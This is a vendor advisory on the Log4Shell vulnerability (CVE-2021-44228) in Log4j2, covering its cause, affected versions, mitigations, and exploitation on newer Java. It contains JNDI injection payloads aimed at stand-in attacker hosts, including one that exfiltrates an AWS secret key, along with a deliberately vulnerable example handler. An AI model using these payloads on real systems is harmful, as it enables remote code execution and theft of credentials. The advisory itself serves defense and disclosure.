JFrog Ltd.

12/13/2021 | Press release | Distributed by Public on 12/13/2021 09:35

Log4Shell 0-Day Vulnerability: All You Need To Know

Last Thursday, a researcher from the Alibaba Cloud Security Team dropped a zero-day remote code execution exploit on Twitter, targeting the extremely popular log4jlogging framework for Java (specifically, the 2.x branch called Log4j2). The vulnerability was originally discovered and reported to Apache by the Alibaba cloud security team on November 24th. MITRE assigned CVE-2021-44228to this vulnerability, which has since been dubbed Log4Shellby security researchers.

Since Thursday, the vulnerability has been reported to be massively exploited in the wild, due to the fact that it is trivially exploitable (weaponized PoCs are available publicly) and extremely popular, and got a wide coverage on media and social networks.

In this technical blog post, we will clarify the exploitation vectors for this issue, provide accurate research-backed novel information on exactly what is vulnerable (as some reports have been inaccurate), suggest remediations for vendors that cannot easily upgrade their log4j version and answer some burning questions that we've been asked on this vulnerability (such as the efficacy of some suggested mitigations floating around in the last couple of days).

What causes the Log4Shell vulnerability?

Log4j2 supports by default a logging feature called "Message Lookup Substitution". This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the string Running ${java:runtime}will yield an output similar to:

Running Java version 1.7.0_67

It has been discovered that one of the lookup methods, specifically the JNDIlookup paired with the LDAPprotocol, will fetch a specified Java class from a remote sourceand deserialize it, executing some of the class's code in the process.

This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string.

The most common substitution string that takes advantage of this issue will look similar to:

${jndi:ldap://somedomain.com}

Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) -

${jndi:ldaps://somedomain.com}${jndi:rmi://somedomain.com}${jndi:dns://somedomain.com}(Allows detecting vulnerable servers, does not lead to code execution.)

Additional exploit strings that try to bypass WAF solutions can be found here.

The basic attack flow can be summarized by the following diagram:

Why is Log4Shell so dangerous?

The vulnerability, which received the highest CVSS score possible - 10.0- is extremely dangerous due to a number of factors:

  1. Exploitation of the vulnerability is trivial and persistent, with tons of weaponized exploits available on GitHuband other public sources.
  2. Log4j2 is one of the most popular Java logging frameworks. There are currently almost 7,000Maven artifacts that depend on log4j-core (the vulnerable artifact), and there are countless others Java projects that use it.
  3. The vulnerability can easily be used in a drive-by-attack scenario by bombarding random HTTP servers with requests similar to:

GET / HTTP/1.1

Host: somedomain.com

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

Or alternatively, a specific webapp can be brute-forced by filling all available HTML input fields with the payload string, using automated tools such as XSStrike.

4. Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.

When exactly is the vulnerability exploitable?

All of the following conditions must apply in order for a specific Java application to be vulnerable:

  • The Java application uses log4j (Maven package log4j-core) version 2.0.0-2.14.1
  • A remote attacker can cause arbitrary strings to be logged, via one of the logging APIs - logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn().
  • The Java JRE / JDK version in use is older than the following versions:
    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

This is due to the fact that later versions set the JVM property com.sun.jndi.ldap.object.trustURLCodebaseto falseby default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this issue is risky, since the issue may still be exploited on machines that contain certain "gadget" class files locally. See Appendix B - "Exploiting Log4Shell in newer Java versions."

  • No Log4Shell-specific mitigations have been applied (see the next "Mitigations" section).

Note that some advisories claimed the Maven package log4j-apiwas vulnerable to this issue. JFrog's security research team looked into this claim and concluded that log4j-api (by itself) is not vulnerable. This is due to the lack of JndiLookupfunctionality, and can be easily seen by trying to trigger the vulnerable code.

Running this code with only log4j-api installed yielded the following output:

ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...

When running the same code with the SimpleLoggerclass, the lookup string is logged verbatim, but no lookup code is triggered (since it does not exist.)

How can I completely fix the issue?

The best fix for this issue would be to upgrade your log4j dependencies to version 2.15.0, which resolved the issue in several layers and improved the overall security of log4j.

As an additional layer of protection, we also recommend setting the LOG4J_FORMAT_MSG_NO_LOOKUPSenvironment variable globally (see next section).

Can I mitigate the issue without upgrading?

Although we recommend fixing the issue completely by upgrading the log4j version to a fixed version, it is possible to completely mitigate the issue without upgrading:

Method 1: For log4j 2.10.0 and later versions - Disabling lookups:

If using log4j 2.10.0 or any later version, we recommend disabling message lookups globally by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPSto trueby executing this command before Java applications are loaded in one of the system's init scripts:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This can also be done system-wide by editing the /etc/environmentfile and adding:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This method can be used as an additional protection layerin case you suspect not all log4j dependencies have been properly updated, and even to protect against third-party Java packages that depend/embed a vulnerable version of log4j and have not been properly patched yet.

Alternatively, lookups can be disabled for a specific invocation of the JVM by adding the following command-line flag when running the vulnerable Java application: ‐Dlog4j2.formatMsgNoLookups=True

For example -

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

Method 2 - For older log4j versions: removing the vulnerable class

When using an older log4j version than 2.10.0, it is possible to remove theJndiLookupclass from any Java applications by executing this command:

find ./ -type f -name "log4j-core-*.jar"-exec zip -q -d "{}"org/apache/logging/log4j/core/lookup/JndiLookup.class \;

This will recursively find all log4j-core JAR files, starting from the current directory, and remove the vulnerableJndiLookupclass from them. For full coverage, the command may be executed from the root directory of your project or server.

Note: This method is recommended only as a last resort since it is possible that the vulnerable JndiLookupclass is embedded in recursive JAR files or in locations that the zip command is not accessible to. When choosing this method, it is highly recommended to verify manually that no JndiLookupclasses are available to any Java application.

How can I use JFrog Xray to detect the vulnerability?

Xray customers can scan artifacts as usual for detecting CVE-2021-44228. As always this can be done through CI/CD.

The JFrog CLI:

Or the JFrog IDE plugin:

Are JFrog products vulnerable?

It's important to note that JFrog Security has validated that JFrog Platform solutions themselves are not affected, as no products, including Artifactory, Xray, Distribution, Insight, Access or Mission Control, are using the log4j-core package.

Appendix A - Vulnerable Example

Example application that will be vulnerable to remote exploitation (from LunaSec's advisory):

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;importjava.io.*;importjava.sql.SQLException;importjava.util.*;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{ staticLoggerlog= LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @paramheHTTP Request Object*/ publicvoidhandle(HttpExchangehe) throwsIOException{ StringuserAgent= he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:{}", userAgent); Stringresponse= "Hello There, "+ userAgent + "!"; he.sendResponseHeaders(200, response.length()); OutputStreamos= he.getResponseBody(); os.write(response.getBytes()); os.close();}}

Appendix B - Exploiting Log4Shell in newer Java versions

Method 1 - Abusing other message lookups

Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works, and can be abused for various purposes:

  1. As mentioned before, using a string such as ${jndi:dns://dnsserver.com/somedomain}will cause the victim to send a DNS query to dnsserver.com (querying about the somedomain DNS record). This can be used to detect vulnerable log4j instances, tunnel back data or even as a DDoS attack (given enough vulnerable services)
  2. There are several lookup substitutionsthat reveal sensitive information from the victim machine. Most prominently, using the attack string ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo} (with any protocol type) may leak the machine's secret AWS access key, if this environment variable was exported to the vulnerable log4j process. Naturally, the attack string can be modified to leak any environment variable present in the vulnerable log4j process. Other interesting information-leaking lookups include:
    1. ${main:x} - leak the value of command line argument #x, which may contain sensitive data such as passwords or access keys passed through the command line.
    2. ${sys:propname} - leak the value of a Java System Property. For example this can be used to leak the current username (user.name):

Method 2 - Abusing factory classes in the local classpath

As thoroughly explained in this Veracode blog post, there are ways to exploit JNDI injections even on newer versions of Java, where remote deserializations are disabled.

For example, if the org.apache.naming.factory.BeanFactoryclass (which is usually shipped with Apache Tomcat servers) is available in the classpath of the vulnerable application that uses log4j, then the Log4Shell vulnerability can be exploited for remote code execution, regardless of the underlying JRE/JDK version.

This is due to the fact that even though newer versions of Java will not deserialize remote arbitrary classes, the attacker can still control the factory classand its attributes, through the supplied JNDI Reference:

The remote attacker cannot supply an arbitrary factory class, but can reuse any factory class in the vulnerable program's classpath as a gadget.

A useable factory class would have the following properties:

  • Exist in the vulnerable program's classpath
  • Implement the ObjectFactoryinterface
  • Implement the getObjectInstancemethod
  • Perform dangerous actions with the Reference's attributes

The researchers identified that the BeanFactoryclass fits this bill, due to its dangerous use of Reflection - Arbitrary Java code objects are created, based solely on the Reference's string attributes, which are attacker controlled.

The blog references full exploit code for hosting an RMI server with the proper Reference that can be used to exploit Log4Shell in newer Java versions, on machines where the BeanFactoryclass is available in the vulnerable application's classpath.

Note that the Log4Shell attack string for using such a server will be similar to -

${jndi:rmi://attacker-srv.com/foo}

However, the provided RMI server can also be converted to a ldapor ldapsserver, in which case the attack string will change accordingly.

Since other "factory gadgets" such as the BeanFactoryclass may be found in the future, we highly suggest not relying on a newer Java version as the only line of defense against Log4Shell, and upgrading log4j and/or implementing some of our proposed mitigations.